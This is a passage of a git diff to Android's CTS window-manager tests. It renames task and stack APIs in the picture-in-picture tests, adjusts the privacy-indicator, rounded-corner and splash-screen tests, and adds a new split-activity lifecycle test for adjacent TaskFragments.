+        assertPinnedStackDoesNotExist();
+
+        // Launch another and ensure that there is a pinned stack.
+        launchActivity(TEST_ACTIVITY);
+        waitForEnterPip(PIP_ACTIVITY);
+        assertPinnedStackExists();
+        waitAndAssertActivityState(PIP_ACTIVITY, STATE_PAUSED, "activity must be paused");
     }
 
     @Test
@@ -1376,7 +1384,7 @@
 
     private void assertIsSeamlessResizeEnabled(ComponentName componentName, boolean expected) {
         runWithShellPermission(() -> {
-            final ActivityTask task = mWmState.getTaskByActivity(componentName);
+            final Task task = mWmState.getTaskByActivity(componentName);
             final TaskInfo info = mTaskOrganizer.getTaskInfo(task.getTaskId());
             final PictureInPictureParams params = info.getPictureInPictureParams();
 
@@ -1386,7 +1394,7 @@
 
     private void assertNumberOfActions(ComponentName componentName, int numberOfActions) {
         runWithShellPermission(() -> {
-            final ActivityTask task = mWmState.getTaskByActivity(componentName);
+            final Task task = mWmState.getTaskByActivity(componentName);
             final TaskInfo info = mTaskOrganizer.getTaskInfo(task.getTaskId());
             final PictureInPictureParams params = info.getPictureInPictureParams();
 
@@ -1421,7 +1429,7 @@
     private void assertPinnedStackStateOnMoveToBackStack(ComponentName activityName,
             int windowingMode, int activityType, int previousWindowingMode) {
         mWmState.waitForFocusedStack(windowingMode, activityType);
-        mWmState.assertFocusedStack("Wrong focused stack", windowingMode, activityType);
+        mWmState.assertFocusedRootTask("Wrong focused stack", windowingMode, activityType);
         waitAndAssertActivityState(activityName, STATE_STOPPED,
                 "Activity should go to STOPPED");
         assertTrue(mWmState.containsActivityInWindowingMode(
@@ -1442,8 +1450,8 @@
     }
 
     private int getDefaultDisplayWindowingMode(ComponentName activityName) {
-        ActivityTask activityTask = mWmState.getTaskByActivity(activityName);
-        return mWmState.getDisplay(activityTask.mDisplayId)
+        Task task = mWmState.getTaskByActivity(activityName);
+        return mWmState.getDisplay(task.mDisplayId)
                 .getWindowingMode();
     }
 
@@ -1514,7 +1522,7 @@
      */
     private void waitForEnterPip(ComponentName activityName) {
         mWmState.waitForWithAmState(wmState -> {
-            ActivityTask task = wmState.getTaskByActivity(activityName);
+            Task task = wmState.getTaskByActivity(activityName);
             return task != null && task.getWindowingMode() == WINDOWING_MODE_PINNED;
         }, "checking task windowing mode");
     }
@@ -1525,7 +1533,7 @@
     private void waitForEnterPipAnimationComplete(ComponentName activityName) {
         waitForEnterPip(activityName);
         mWmState.waitForWithAmState(wmState -> {
-            ActivityTask task = wmState.getTaskByActivity(activityName);
+            Task task = wmState.getTaskByActivity(activityName);
             if (task == null) {
                 return false;
             }
@@ -1540,7 +1548,7 @@
      */
     private void waitForPinnedStackRemoved() {
         mWmState.waitFor((amState) ->
-                !amState.containsStack(WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD),
+                !amState.containsRootTasks(WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD),
                 "pinned stack to be removed");
     }
 
@@ -1549,7 +1557,7 @@
      */
     private void waitForExitPipToFullscreen(ComponentName activityName) {
         mWmState.waitForWithAmState(wmState -> {
-            final ActivityTask task = wmState.getTaskByActivity(activityName);
+            final Task task = wmState.getTaskByActivity(activityName);
             if (task == null) {
                 return false;
             }
@@ -1557,7 +1565,7 @@
             return activity.getWindowingMode() != WINDOWING_MODE_PINNED;
         }, "checking activity windowing mode");
         mWmState.waitForWithAmState(wmState -> {
-            final ActivityTask task = wmState.getTaskByActivity(activityName);
+            final Task task = wmState.getTaskByActivity(activityName);
             return task != null && task.getWindowingMode() != WINDOWING_MODE_PINNED;
         }, "checking task windowing mode");
     }
@@ -1578,7 +1586,8 @@
         // Hacky, but we need to wait for the auto-enter picture-in-picture animation to complete
         // and before we can check the pinned stack bounds
         mWmState.waitForWithAmState((state) -> {
-            Rect bounds = state.getStandardStackByWindowingMode(WINDOWING_MODE_PINNED).getBounds();
+            Rect bounds = state.getStandardRootTaskByWindowingMode(WINDOWING_MODE_PINNED)
+                    .getBounds();
             return floatEquals((float) bounds.width() / bounds.height(), (float) num / denom);
         }, "valid aspect ratio");
     }
@@ -1597,8 +1606,8 @@
     /**
      * @return the current pinned stack.
      */
-    private ActivityTask getPinnedStack() {
-        return mWmState.getStandardStackByWindowingMode(WINDOWING_MODE_PINNED);
+    private Task getPinnedStack() {
+        return mWmState.getStandardRootTaskByWindowingMode(WINDOWING_MODE_PINNED);
     }
 
     /**
@@ -1695,7 +1704,7 @@
             mWmState.assertVisibility(topActivityName, true);
 
             if (isFocusable) {
-                mWmState.assertFocusedStack("Pinned stack must be the focused stack.",
+                mWmState.assertFocusedRootTask("Pinned stack must be the focused stack.",
                         WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
                 mWmState.assertFocusedActivity(
                         "Pinned activity must be focused activity.", topActivityName);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PrivacyIndicatorBoundsTests.java b/tests/framework/base/windowmanager/src/android/server/wm/PrivacyIndicatorBoundsTests.java
index 3d6d97c..49d2dba 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PrivacyIndicatorBoundsTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PrivacyIndicatorBoundsTests.java
@@ -21,6 +21,7 @@
 import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_REVERSE_LANDSCAPE;
 import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_REVERSE_PORTRAIT;
 import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_UNSPECIFIED;
+import static android.content.pm.PackageManager.FEATURE_AUTOMOTIVE;
 import static android.server.wm.RoundedCornerTests.TestActivity.EXTRA_ORIENTATION;
 import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
 import static android.view.WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS;
@@ -31,9 +32,11 @@
 import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
 
 import android.app.Activity;
 import android.app.AppOpsManager;
+import android.content.Context;
 import android.content.Intent;
 import android.graphics.Rect;
 import android.os.Bundle;
@@ -56,7 +59,7 @@
 
 @Presubmit
 @RunWith(Parameterized.class)
-public class PrivacyIndicatorBoundsTests {
+public class PrivacyIndicatorBoundsTests extends ActivityManagerTestBase {
 
     private static final String TAG = PrivacyIndicatorBoundsTests.class.getSimpleName();
     private static final long TIMEOUT_MS = 1000;
@@ -85,6 +88,10 @@
 
     @Test
     public void testStaticBoundsAreNotNull() {
+        // TODO(b/187757919): Allow Automotive to skip this test until privacy chip is implemented
+        // in immersive mode
+        assumeFalse(isCar());
+
         final PrivacyIndicatorBoundsTests.TestActivity activity = mTestActivity.launchActivity(
                 new Intent().putExtra(EXTRA_ORIENTATION, orientation));
         getInstrumentation().runOnMainSync(() -> {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/RoundedCornerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/RoundedCornerTests.java
index b664b11..d7d4573 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/RoundedCornerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/RoundedCornerTests.java
@@ -22,14 +22,13 @@
 import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_REVERSE_PORTRAIT;
 import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_UNSPECIFIED;
 import static android.server.wm.RoundedCornerTests.TestActivity.EXTRA_ORIENTATION;
+import static android.view.Display.DEFAULT_DISPLAY;
 import static android.view.RoundedCorner.POSITION_BOTTOM_LEFT;
 import static android.view.RoundedCorner.POSITION_BOTTOM_RIGHT;
 import static android.view.RoundedCorner.POSITION_TOP_LEFT;
 import static android.view.RoundedCorner.POSITION_TOP_RIGHT;
-import static android.view.ViewGroup.LayoutParams.MATCH_PARENT;
 import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
 import static android.view.WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS;
-import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_PANEL;
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
@@ -56,6 +55,7 @@
 import com.android.compatibility.common.util.PollingCheck;
 
 import org.junit.After;
+import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -63,7 +63,7 @@
 
 @Presubmit
 @RunWith(Parameterized.class)
-public class RoundedCornerTests {
+public class RoundedCornerTests extends ActivityManagerTestBase {
     private static final String TAG = "RoundedCornerTests";
     private final static int POSITION_LENGTH = 4;
     private final static long TIMEOUT = 1000; // milliseconds
@@ -84,6 +84,14 @@
     @Parameterized.Parameter(1)
     public String orientationName;
 
+    @Before
+    public void setUp() {
+        // On devices with ignore_orientation_request set to true, the test activity will be
+        // letterboxed in a landscape display which make the activity not a fullscreen one.
+        // We should set it to false while testing.
+        mObjectTracker.manage(new IgnoreOrientationRequestSession(DEFAULT_DISPLAY, false));
+    }
+
     @After
     public void tearDown() {
         mTestActivity.finishActivity();
@@ -155,6 +163,8 @@
             getWindow().requestFeature(Window.FEATURE_NO_TITLE);
             getWindow().getAttributes().layoutInDisplayCutoutMode =
                     LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS;
+            getWindow().getDecorView().getWindowInsetsController().hide(
+                    WindowInsets.Type.systemBars());
             if (getIntent() != null) {
                 setRequestedOrientation(getIntent().getIntExtra(
                         EXTRA_ORIENTATION, SCREEN_ORIENTATION_UNSPECIFIED));
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
index b49e726..9635923 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
@@ -55,6 +55,7 @@
 import static android.server.wm.app.Components.TestStartingWindowKeys.REQUEST_SET_NIGHT_MODE_ON_CREATE;
 import static android.view.Display.DEFAULT_DISPLAY;
 import static android.view.WindowInsets.Type.captionBar;
+import static android.view.WindowInsets.Type.statusBars;
 import static android.view.WindowInsets.Type.systemBars;
 
 import static org.hamcrest.MatcherAssert.assertThat;
@@ -174,9 +175,10 @@
         final Bitmap image = takeScreenshot();
         final WindowMetrics windowMetrics = mWm.getMaximumWindowMetrics();
         final Rect stableBounds = new Rect(windowMetrics.getBounds());
-        Insets insets = windowMetrics.getWindowInsets().getInsetsIgnoringVisibility(
-                systemBars() & ~captionBar());
-        stableBounds.inset(insets);
+        Insets statusBarInsets = windowMetrics.getWindowInsets().getInsetsIgnoringVisibility(
+                statusBars());
+        stableBounds.inset(windowMetrics.getWindowInsets().getInsetsIgnoringVisibility(
+                systemBars() & ~captionBar()));
         WindowManagerState.WindowState startingWindow = mWmState.findFirstWindowWithType(
                 WindowManager.LayoutParams.TYPE_APPLICATION_STARTING);
 
@@ -188,9 +190,8 @@
             appBounds = new Rect(startingWindow.getFrame());
         }
 
-        Rect topInsetsBounds = new Rect(insets.left, 0, appBounds.right - insets.right, insets.top);
-        Rect bottomInsetsBounds = new Rect(insets.left, appBounds.bottom - insets.bottom,
-                appBounds.right - insets.right, appBounds.bottom);
+        Rect statusBarInsetsBounds = new Rect(statusBarInsets.left, 0,
+                appBounds.right - statusBarInsets.right, statusBarInsets.top);
 
         assertFalse("Couldn't find splash screen bounds. Impossible to assert the colors",
                 appBounds.isEmpty());
@@ -206,11 +207,8 @@
 
         appBounds.intersect(stableBounds);
         assertColors(image, appBounds, primaryColor, 0.99f, secondaryColor, 0.02f, ignoreRect);
-        if (isFullscreen && !topInsetsBounds.isEmpty()) {
-            assertColors(image, topInsetsBounds, primaryColor, 0.80f, secondaryColor, 0.10f, null);
-        }
-        if (isFullscreen && !bottomInsetsBounds.isEmpty()) {
-            assertColors(image, bottomInsetsBounds, primaryColor, 0.80f, secondaryColor, 0.10f,
+        if (isFullscreen && !statusBarInsetsBounds.isEmpty()) {
+            assertColors(image, statusBarInsetsBounds, primaryColor, 0.80f, secondaryColor, 0.10f,
                     null);
         }
     }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java b/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
new file mode 100644
index 0000000..2fa3ec8
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
@@ -0,0 +1,691 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.app.WindowConfiguration.WINDOWING_MODE_MULTI_WINDOW;
+import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.server.wm.SplitActivityLifecycleTest.ActivityB.EXTRA_SHOW_WHEN_LOCKED;
+import static android.server.wm.WindowManagerState.STATE_STARTED;
+import static android.server.wm.WindowManagerState.STATE_STOPPED;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.graphics.Rect;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.platform.test.annotations.Presubmit;
+import android.server.wm.WindowManagerState.Task;
+import android.server.wm.WindowManagerState.TaskFragment;
+import android.window.TaskFragmentCreationParams;
+import android.window.TaskFragmentInfo;
+import android.window.WindowContainerToken;
+import android.window.WindowContainerTransaction;
+
+import org.junit.Ignore;
+import org.junit.Test;
+
+/**
+ * Tests that verify the behavior of split Activity.
+ * <p>
+ * At the beginning of test, two Activities are launched side-by-side in two adjacent TaskFragments.
+ * Then another Activity will be launched with different scenarios. The purpose of this test is to
+ * verify the CUJ of split Activity.
+ * </p>
+ *
+ * Build/Install/Run:
+ *     atest CtsWindowManagerDeviceTestCases:SplitActivityLifecycleTest
+ */
+@Presubmit
+public class SplitActivityLifecycleTest extends TaskFragmentOrganizerTestBase {
+    private Activity mOwnerActivity;
+    private IBinder mOwnerToken;
+    private final Rect mPrimaryBounds = new Rect();
+    private final Rect mSideBounds = new Rect();
+    private TaskFragmentRecord mTaskFragA;
+    private TaskFragmentRecord mTaskFragB;
+    private final ComponentName mActivityA = new ComponentName(mContext, ActivityA.class);
+    private final ComponentName mActivityB = new ComponentName(mContext, ActivityB.class);
+    private final ComponentName mActivityC = new ComponentName(mContext, ActivityC.class);
+    private final Intent mIntent = new Intent().setComponent(mActivityC);
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        // Launch activities in fullscreen, otherwise, some tests fail on devices which use freeform
+        // as the default windowing mode, because tests' prerequisite are that activity A, B, and C
+        // need to overlay completely, but they can be partially overlay as freeform windows.
+        mOwnerActivity = startActivityInWindowingModeFullScreen(ActivityA.class);
+        mOwnerToken = getActivityToken(mOwnerActivity);
+    }
+
+    /** Launch two Activities in two adjacent TaskFragments side-by-side. */
+    private void initializeSplitActivities(boolean splitInEmbeddedTask) {
+        initializeSplitActivities(splitInEmbeddedTask, false /* showWhenLocked */);
+    }
+
+    /**
+     * Launch two Activities in two adjacent TaskFragments side-by-side and support to set the
+     * showWhenLocked attribute to Activity B.
+     */
+    private void initializeSplitActivities(boolean splitInEmbeddedTask, boolean showWhenLocked) {
+        final Rect activityBounds = mOwnerActivity.getWindowManager().getCurrentWindowMetrics()
+                .getBounds();
+        activityBounds.splitVertically(mPrimaryBounds, mSideBounds);
+
+        final TaskFragmentCreationParams paramsA = generatePrimaryTaskFragParams();
+        final TaskFragmentCreationParams paramsB = generateSideTaskFragParams();
+        IBinder taskFragTokenA = paramsA.getFragmentToken();
+        IBinder taskFragTokenB = paramsB.getFragmentToken();
+
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .createTaskFragment(paramsA)
+                .reparentActivityToTaskFragment(taskFragTokenA, mOwnerToken)
+                .createTaskFragment(paramsB)
+                .setAdjacentTaskFragments(taskFragTokenA, taskFragTokenB, null /* params */);
+
+        final Intent intent = new Intent().setComponent(mActivityB);
+        if (splitInEmbeddedTask) {
+            intent.addFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
+        }
+        if (showWhenLocked) {
+            intent.putExtra(EXTRA_SHOW_WHEN_LOCKED, true);
+        }
+        wct.startActivityInTaskFragment(taskFragTokenB, mOwnerToken, intent,
+                null /* activityOptions */);
+
+        mTaskFragmentOrganizer.setAppearedCount(2);
+        mTaskFragmentOrganizer.applyTransaction(wct);
+        mTaskFragmentOrganizer.waitForTaskFragmentCreated();
+
+        final TaskFragmentInfo infoA = mTaskFragmentOrganizer.getTaskFragmentInfo(
+                taskFragTokenA);
+        final TaskFragmentInfo infoB = mTaskFragmentOrganizer.getTaskFragmentInfo(
+                taskFragTokenB);
+
+        assertNotEmptyTaskFragment(infoA, taskFragTokenA, mOwnerToken);
+        assertNotEmptyTaskFragment(infoB, taskFragTokenB);
+
+        mTaskFragA = new TaskFragmentRecord(infoA);
+        mTaskFragB = new TaskFragmentRecord(infoB);
+
+        waitAndAssertResumedActivity(mActivityA, "Activity A must still be resumed.");
+        waitAndAssertResumedActivity(mActivityB, "Activity B must still be resumed.");
+
+        if (splitInEmbeddedTask) {
+            TaskFragment taskFragmentB = mWmState.getTaskFragmentByActivity(mActivityB);
+            Task embeddedTask = mWmState.getTaskByActivity(mActivityB);
+            assertWindowHierarchy(taskFragmentB, embeddedTask, mWmState.getActivity(mActivityB));
+        }
+
+        mTaskFragmentOrganizer.resetLatch();
+    }
+
+    /**
+     * Verifies the behavior to launch Activity in the same TaskFragment as the owner Activity.
+     * <p>
+     * For example, given that Activity A and B are showed side-by-side, this test verifies
+     * the behavior to launch Activity C in the same TaskFragment as Activity A:
+     * <pre class="prettyprint">
+     * |A|B| -> |C|B|
+     * </pre></p>
+     */
+    @Test
+    public void testActivityLaunchInSameSplitTaskFragment() {
+        // Initialize test environment by launching Activity A and B side-by-side.
+        initializeSplitActivities(false /* verifyEmbeddedTask */);
+
+        final IBinder taskFragTokenA = mTaskFragA.getTaskFragToken();
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .startActivityInTaskFragment(taskFragTokenA, mOwnerToken, mIntent,
+                        null /* activityOptions */);
+
+        mTaskFragmentOrganizer.applyTransaction(wct);
+
+        final TaskFragmentInfo infoA = mTaskFragmentOrganizer.waitForAndGetTaskFragmentInfo(
+                taskFragTokenA, info -> info.getActivities().size() == 2,
+                "getActivities from TaskFragment A must contain 2 activities");
+
+        assertNotEmptyTaskFragment(infoA, taskFragTokenA, mOwnerToken);
+
+        waitAndAssertResumedActivity(mActivityC, "Activity C must be resumed.");
+        waitAndAssertActivityState(mActivityA, STATE_STOPPED,
+                "Activity A is occluded by Activity C, so it must be stopped.");
+        waitAndAssertResumedActivity(mActivityB, "Activity B must be resumed.");
+
+        final TaskFragment taskFragmentA = mWmState.getTaskFragmentByActivity(mActivityA);
+        assertWithMessage("TaskFragmentA must contain Activity A and C")
+                .that(taskFragmentA.mActivities).containsExactly(mWmState.getActivity(mActivityA),
+                mWmState.getActivity(mActivityC));
+    }
+
+    /**
+     * Verifies the behavior to launch Activity in the adjacent TaskFragment.
+     * <p>
+     * For example, given that Activity A and B are showed side-by-side, this test verifies
+     * the behavior to launch Activity C in the same TaskFragment as Activity B:
+     * <pre class="prettyprint">
+     * |A|B| -> |A|C|
+     * </pre></p>
+     */
+    @Test
+    public void testActivityLaunchInAdjacentSplitTaskFragment() {
+        // Initialize test environment by launching Activity A and B side-by-side.
+        initializeSplitActivities(false /* verifyEmbeddedTask */);
+
+        final IBinder taskFragTokenB = mTaskFragB.getTaskFragToken();
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .startActivityInTaskFragment(taskFragTokenB, mOwnerToken, mIntent,
+                        null /* activityOptions */);
+
+        mTaskFragmentOrganizer.applyTransaction(wct);
+
+        final TaskFragmentInfo infoB = mTaskFragmentOrganizer.waitForAndGetTaskFragmentInfo(
+                taskFragTokenB, info -> info.getActivities().size() == 2,
+                "getActivities from TaskFragment A must contain 2 activities");
+
+        assertNotEmptyTaskFragment(infoB, taskFragTokenB);
+
+        waitAndAssertResumedActivity(mActivityC, "Activity C must be resumed.");
+        waitAndAssertResumedActivity(mActivityA, "Activity A must be resumed.");
+        waitAndAssertActivityState(mActivityB, STATE_STOPPED,
+                "Activity B is occluded by Activity C, so it must be stopped.");
+
+        final TaskFragment taskFragmentB = mWmState.getTaskFragmentByActivity(mActivityB);
+        assertWithMessage("TaskFragmentB must contain Activity B and C")
+                .that(taskFragmentB.mActivities).containsExactly(mWmState.getActivity(mActivityB),
+                mWmState.getActivity(mActivityC));
+    }
+
+    /**
+     * Verifies the behavior that the Activity instance in bottom TaskFragment calls
+     * {@link Context#startActivity(Intent)} to launch another Activity.
+     * <p>
+     * For example, given that Activity A and B are showed side-by-side, Activity A calls
+     * {@link Context#startActivity(Intent)} to launch Activity C. The expected behavior is that
+     * Activity C will be launch on top of Activity B as below:
+     * <pre class="prettyprint">
+     * |A|B| -> |A|C|
+     * </pre>
+     * The reason is that TaskFragment B has higher z-order than TaskFragment A because we create
+     * TaskFragment B later than TaskFragment A.
+     * </p>
+     */
+    @Test
+    public void testActivityLaunchFromBottomTaskFragment() {
+        // Initialize test environment by launching Activity A and B side-by-side.
+        initializeSplitActivities(false /* verifyEmbeddedTask */);
+
+        mOwnerActivity.startActivity(mIntent);
+
+        final IBinder taskFragTokenB = mTaskFragB.getTaskFragToken();
+        final TaskFragmentInfo infoB = mTaskFragmentOrganizer.waitForAndGetTaskFragmentInfo(
+                taskFragTokenB, info -> info.getActivities().size() == 2,
+                "getActivities from TaskFragment A must contain 2 activities");
+
+        assertNotEmptyTaskFragment(infoB, taskFragTokenB);
+
+        waitAndAssertResumedActivity(mActivityC, "Activity C must be resumed.");
+        waitAndAssertResumedActivity(mActivityA, "Activity A must be resumed.");
+        waitAndAssertActivityState(mActivityB, STATE_STOPPED,
+                "Activity B is occluded by Activity C, so it must be stopped.");
+
+        final TaskFragment taskFragmentB = mWmState.getTaskFragmentByActivity(mActivityB);
+        assertWithMessage("TaskFragmentB must contain Activity B and C")
+                .that(taskFragmentB.mActivities).containsExactly(mWmState.getActivity(mActivityB),
+                mWmState.getActivity(mActivityC));
+    }
+
+    /**
+     * Verifies the behavior of the activities in a TaskFragment that is sandwiched in adjacent
+     * TaskFragments.
+     */
+    @Test
+    public void testSandwichTaskFragmentInAdjacent() {
+        // Initialize test environment by launching Activity A and B side-by-side.
+        initializeSplitActivities(false /* verifyEmbeddedTask */);
+
+        final IBinder taskFragTokenA = mTaskFragA.getTaskFragToken();
+        final TaskFragmentCreationParams paramsC = generateSideTaskFragParams();
+        final IBinder taskFragTokenC = paramsC.getFragmentToken();
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                // Create the side TaskFragment for C and launch
+                .createTaskFragment(paramsC)
+                .startActivityInTaskFragment(taskFragTokenC, mOwnerToken, mIntent,
+                        null /* activityOptions */)
+                .setAdjacentTaskFragments(taskFragTokenA, taskFragTokenC, null /* options */);
+
+        mTaskFragmentOrganizer.applyTransaction(wct);
+        // Wait for the TaskFragment of Activity C to be created.
+        mTaskFragmentOrganizer.waitForTaskFragmentCreated();
+
+        waitAndAssertResumedActivity(mActivityC, "Activity C must be resumed.");
+        waitAndAssertActivityState(mActivityB, STATE_STOPPED,
+                "Activity B is occluded by Activity C, so it must be stopped.");
+        waitAndAssertResumedActivity(mActivityA, "Activity A must be resumed.");
+    }
+
+    /**
+     * Verifies the behavior of the activities in a TaskFragment that is sandwiched in adjacent
+     * TaskFragments. It should be hidden even if part of it is not cover by the adjacent
+     * TaskFragment above.
+     */
+    @Test
+    public void testSandwichTaskFragmentInAdjacent_partialOccluding() {
+        // Initialize test environment by launching Activity A and B side-by-side.
+        initializeSplitActivities(false /* verifyEmbeddedTask */);
+
+        final IBinder taskFragTokenA = mTaskFragA.getTaskFragToken();
+        // TaskFragment C is not fully occluding TaskFragment B.
+        final Rect partialOccludingSideBounds = new Rect(mSideBounds);
+        partialOccludingSideBounds.left += 50;
+        final TaskFragmentCreationParams paramsC = mTaskFragmentOrganizer.generateTaskFragParams(
+                mOwnerToken, partialOccludingSideBounds, WINDOWING_MODE_MULTI_WINDOW);
+        final IBinder taskFragTokenC = paramsC.getFragmentToken();
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                // Create the side TaskFragment for C and launch
+                .createTaskFragment(paramsC)
+                .startActivityInTaskFragment(taskFragTokenC, mOwnerToken, mIntent,
+                        null /* activityOptions */)
+                .setAdjacentTaskFragments(taskFragTokenA, taskFragTokenC, null /* options */);
+
+        mTaskFragmentOrganizer.applyTransaction(wct);
+        // Wait for the TaskFragment of Activity C to be created.
+        mTaskFragmentOrganizer.waitForTaskFragmentCreated();
+
+        waitAndAssertResumedActivity(mActivityC, "Activity C must be resumed.");
+        waitAndAssertActivityState(mActivityB, STATE_STOPPED,
+                "Activity B is occluded by Activity C, so it must be stopped.");
+        waitAndAssertResumedActivity(mActivityA, "Activity A must be resumed.");
+    }
+
+    /**
+     * Verifies the behavior to launch adjacent Activity to the adjacent TaskFragment.
+     * <p>
+     * For example, given that Activity A and B are showed side-by-side, this test verifies
+     * the behavior to launch the Activity C to the adjacent TaskFragment of the secondary
+     * TaskFragment, which Activity B is attached to. Then the secondary TaskFragment is shifted to
+     * occlude the primary TaskFragment, which Activity A is attached to, and the adjacent
+     * TaskFragment, which Activity C is attached to, is occupied the region where the secondary
+     * TaskFragment is located. This test is to verify the "shopping mode" scenario.
+     * <pre class="prettyprint">
+     * |A|B| -> |B|C|
+     * </pre></p>
+     */
+    @Test
+    public void testAdjacentActivityLaunchFromSecondarySplitTaskFragment() {
+        // Initialize test environment by launching Activity A and B side-by-side.
+        initializeSplitActivities(false /* verifyEmbeddedTask */);
+
+        final IBinder taskFragTokenB = mTaskFragB.getTaskFragToken();
+        final TaskFragmentCreationParams paramsC = generateSideTaskFragParams();
+        final IBinder taskFragTokenC = paramsC.getFragmentToken();
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                // Move TaskFragment B to the primaryBounds
+                .setBounds(mTaskFragB.getToken(), mPrimaryBounds)
+                // Create the side TaskFragment for C and launch
+                .createTaskFragment(paramsC)
+                .startActivityInTaskFragment(taskFragTokenC, mOwnerToken, mIntent,
+                        null /* activityOptions */)
+                .setAdjacentTaskFragments(taskFragTokenB, taskFragTokenC, null /* options */);
+
+        mTaskFragmentOrganizer.applyTransaction(wct);
+        // Wait for the TaskFragment of Activity C to be created.
+        mTaskFragmentOrganizer.waitForTaskFragmentCreated();
+        // Wait for the TaskFragment of Activity B to be changed.
+        mTaskFragmentOrganizer.waitForTaskFragmentInfoChanged();
+
+        final TaskFragmentInfo infoB = mTaskFragmentOrganizer.getTaskFragmentInfo(taskFragTokenB);
+        final TaskFragmentInfo infoC = mTaskFragmentOrganizer.getTaskFragmentInfo(taskFragTokenC);
+
+        assertNotEmptyTaskFragment(infoB, taskFragTokenB);
+        assertNotEmptyTaskFragment(infoC, taskFragTokenC);
+
+        mTaskFragB = new TaskFragmentRecord(infoB);
+        final TaskFragmentRecord taskFragC = new TaskFragmentRecord(infoC);
+
+        assertThat(mTaskFragB.getBounds()).isEqualTo(mPrimaryBounds);
+        assertThat(taskFragC.getBounds()).isEqualTo(mSideBounds);
+
+        waitAndAssertResumedActivity(mActivityC, "Activity C must be resumed.");
+        waitAndAssertActivityState(mActivityA, STATE_STOPPED,
+                "Activity A is occluded by Activity C, so it must be stopped.");
+        waitAndAssertResumedActivity(mActivityB, "Activity B must be resumed.");
+    }
+
+    /**
+     * Verifies the behavior to launch Activity in expanded TaskFragment.
+     * <p>
+     * For example, given that Activity A and B are showed side-by-side, this test verifies
+     * the behavior to launch Activity C in the TaskFragment which fills the Task bounds of owner
+     * Activity:
+     * <pre class="prettyprint">
+     * |A|B| -> |C|
+     * </pre></p>
+     */
+    @Test
+    public void testActivityLaunchInExpandedTaskFragment() {
+        // Initialize test environment by launching Activity A and B side-by-side.
+        initializeSplitActivities(false /* verifyEmbeddedTask */);
+
+        testActivityLaunchInExpandedTaskFragmentInternal();
+    }
+
+    /**
+     * Verifies the behavior to launch Activity in expanded TaskFragment and occludes the embedded
+     * Task.
+     * <p>
+     * For example, given that Activity A and B are showed side-by-side, which Activity B is in
+     * embedded Task, this test verifies the behavior to launch Activity C in the TaskFragment which
+     * fills the Task bounds of owner Activity:
+     * <pre class="prettyprint">
+     *     - Fullscreen -
+     *     TaskFragmentC
+     *       - ActivityC <---- new started Activity
+     * - Left -      - Right -
+     * TaskFragmentA TaskFragmentB
+     *   - ActivityA   - Embedded Task
+     *                   - ActivityB
+     * </pre></p>
+     */
+    @Test
+    @Ignore("b/197364677")
+    public void testActivityLaunchInExpandedTaskFragment_AboveEmbeddedTask() {
+        // Initialize test environment by launching Activity A and B side-by-side.
+        initializeSplitActivities(true /* verifyEmbeddedTask */);
+
+        testActivityLaunchInExpandedTaskFragmentInternal();
+    }
+
